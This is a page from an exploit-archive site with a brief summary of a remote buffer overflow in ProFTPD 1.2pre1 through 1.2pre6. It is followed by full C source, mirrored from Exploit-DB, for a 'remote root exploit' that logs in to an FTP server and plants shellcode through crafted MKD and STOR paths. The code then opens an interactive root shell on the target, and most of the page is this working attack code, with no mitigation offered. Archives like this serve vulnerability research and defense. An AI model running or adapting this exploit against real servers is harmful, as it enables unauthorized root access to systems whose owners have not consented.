Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
ProFTPD Remote Buffer Overflow Vulnerability - exploit.company
header-logo
Suggest Exploit
vendor:
ProFTPD
by:
Unknown
7.5
CVSS
HIGH
Buffer Overflow
Unknown
CWE
Product Name: ProFTPD
Affected Version From: 1.2pre1
Affected Version To: 1.2pre6
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested: Linux Redhat 6.0
Unknown

ProFTPD Remote Buffer Overflow Vulnerability

The vulnerability in ProFTPD versions 1.2pre1, 1.2pre3, and 1.2pre3 is a remotely exploitable buffer overflow. It is caused by a sprintf() function in the log_xfer() routine in src/log.c. The vulnerability in ProFTPD version 1.2pre4 is a mkdir overflow, where the name of the created path cannot exceed 255 characters. ProFTPD version 1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from version 1.2pre4.

Mitigation:

No mitigation or remediation provided
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/612/info
 
The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
 * !!!! Private .. ... distribute !!!!
 *
 * <pro.c> proftpd-1.2.0 remote root exploit (beta2)
 * (Still need some code, but it works fine)
 *
 * Offset: Linux Redhat 6.0
 * 0 -> proftpd-1.2.0pre1 
 * 0 -> proftpd-1.2.0pre2
 * 0 -> proftpd-1.2.0pre3
 * (If this dont work, try changing the align)
 *
 * Usage:
 * $ cc pro.c -o pro
 * $ pro 1.1.1.1 ftp.linuz.com /incoming 
 *
 * ****
 * Comunists are still alive ph34r
 * A lot of shit to : #cybernet@ircnet
 * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
 *          Dialtone,AlexB,naif,etcetc
 * without them this puppy cant be spreaded uaz uaz uaz
 * ****    
 *          

#include <stdio.h> 
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define RET 0xbffff550
#define ALINEA 0

void logintoftp();
void sh();
void mkd(char *);
void put(char *);
int max(int, int);

char shellcode[] =
"\x90\x90\x31\xc0\x31\xdb\xb0\x17"
"\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
"\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
"\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
"\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
"\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;
struct sockaddr_in server, yo;
char inicio[20];

int main(int argc, char **argv) {

char sendln[1024], recvln[4048], buf1[1000], buf2[200];
struct hostent *host;
char *p, *q;
int len;
int offset = 0;
int align = 0;
int i;

if(argc < 4){
        printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
        printf("If dont work, try different align values (0 to 3)\n");
        exit(0); }
                
if(argc >= 5){
        if(strcmp(argv[4], "-l") == 0){
        strncpy(name, argv[5], 128);
        strncpy(pass, argv[6], 128);
} else {
        offset = atoi(argv[4]); }
        if(argc == 9)
        offset = atoi(argv[7]);
        align = atoi(argv[8]); }
        
sprintf(inicio, "%s", argv[1]);
                
if(name[0] == 0 && pass[0] == 0){
        strcpy(name, "anonymous");
        strcpy(pass, "a@a.es"); }

bzero(&server,sizeof(server));
bzero(recvln,sizeof(recvln));
bzero(sendln,sizeof(sendln));
server.sin_family=AF_INET;
server.sin_port=htons(21);

if((host = gethostbyname(argv[2])) != NULL) {
        bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
} else {
        if((server.sin_addr.s_addr = inet_addr(argv[2]))<1) {
                perror("Obteniendo ip");
                exit(0); }
        }

bzero((char*)&yo,sizeof(yo));
yo.sin_family = AF_INET;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket()");
        exit(0); }

if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0) {
        perror("bind()");
        exit(0); }

if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0){
        perror("connect()");
        exit(0); }
        
printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n",
inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
ntohs(yo.sin_port));
        
printf("Connected\n");
getchar();
               
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
        recvln[len] = '\0';
        if(strchr(recvln, '\n') != NULL)
        break; }
                        
logintoftp(sockfd);
printf("Logged\n");
bzero(sendln, sizeof(sendln));

memset(buf1, 0x90, 800);
memcpy(buf1, argv[3], strlen(argv[3]));
mkd(argv[3]);
p = &buf1[strlen(argv[3])];
q = &buf1[799];
*q = '\x00';
while(p <= q) {
        strncpy(tmp, p, 100);
        mkd(tmp);
        p+=100; }

mkd(shellcode);
mkd("bin");
mkd("sh");

memset(buf2, 0x90, 100);
for(i=4-ALINEA-align; i<96; i+=4)
        *(long *)&buf2[i] = RET + offset;
p = &buf2[0];
q = &buf2[99];
strncpy(tmp, p, 100);
put(tmp);

sh(sockfd);

close(sockfd);
printf("EOF\n");
}

void mkd(char *dir) {
        
char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
        
bzero(buf,sizeof(buf));
p=buf;

for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

sprintf(snd,"MKD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(snd,sizeof(snd));
sprintf(snd,"CWD %s\r\n",buf);
write(sockfd,snd,strlen(snd));
bzero(rcv,sizeof(rcv));

while((n=read(sockfd,rcv,sizeof(rcv)))>0) {
        rcv[n]=0;
        if(strchr(rcv,'\n')!=NULL)
                break; }
        return;
}

void put(char *dir) {

char snd[1024], rcv[1024];
char buf[1024], *p;
int n;
int sockete, nsock;
int port;
int octeto_in[4];
char *oct;
        
port=getpid()+1024;

yo.sin_port=htons(port);
        
bzero(buf,sizeof(buf));
p=buf;
for(n=0;n<strlen(dir);n++) {
        if(dir[n]=='\xff') {
                *p='\xff';
                p++; }
        *p=dir[n];
        p++; }

oct=(char *)strtok(inicio,".");
octeto_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octeto_in[3]=atoi(oct);

sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
octeto_in[2],octeto_in[3],port / 256,port % 256);
write(sockfd,snd,strlen(snd));

// socket
// bind
// listen
if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
        perror("Socket()");
        exit(0); }
                        
if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1) {
        perror("Bind()");
        close(sockete);
        exit(0); }

if(listen(sockete,10)==-1) {
        perror("Listen()");
        close(sockete);
        exit(0); }

bzero(snd, sizeof(snd));
sprintf(snd, "STOR %s\r\n", buf);
write(sockfd, snd, strlen(snd));

// accept
// write
// close 
if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct sockaddr)))==-1) {
        perror("accept()");
        close(sockete);
        exit(0); }
        
write(nsock, "aaaaaaaaa", 10);
 
close(sockete);
close(nsock);

bzero(rcv, sizeof(rcv));
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return; 
}

void logintoftp() {

char snd[1024], rcv[1024];
int n;

printf("Logging %s/%s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }

memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
        rcv[n] = 0;
        if(strchr(rcv, '\n') != NULL)
                break; }
        return;
}

void sh() {
        
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));

for(;;){
        FD_SET(fileno(stdin), &rset);
        FD_SET(sockfd, &rset);
        maxfd = max(fileno(stdin), sockfd) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if(FD_ISSET(fileno(stdin), &rset)){
                bzero(snd, sizeof(snd));
                fgets(snd, sizeof(snd)-2, stdin);
                write(sockfd, snd, strlen(snd)); }
        if(FD_ISSET(sockfd, &rset)){
                bzero(rcv, sizeof(rcv));
                if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                        printf("EOF.\n");
                        exit(0); }
                if(n < 0){
                        perror("read()");
                        exit(-1); }
                 fputs(rcv, stdout); }
        }
}

int max(int x, int y) {

if(x > y)
        return(x);
else
        return(y);
}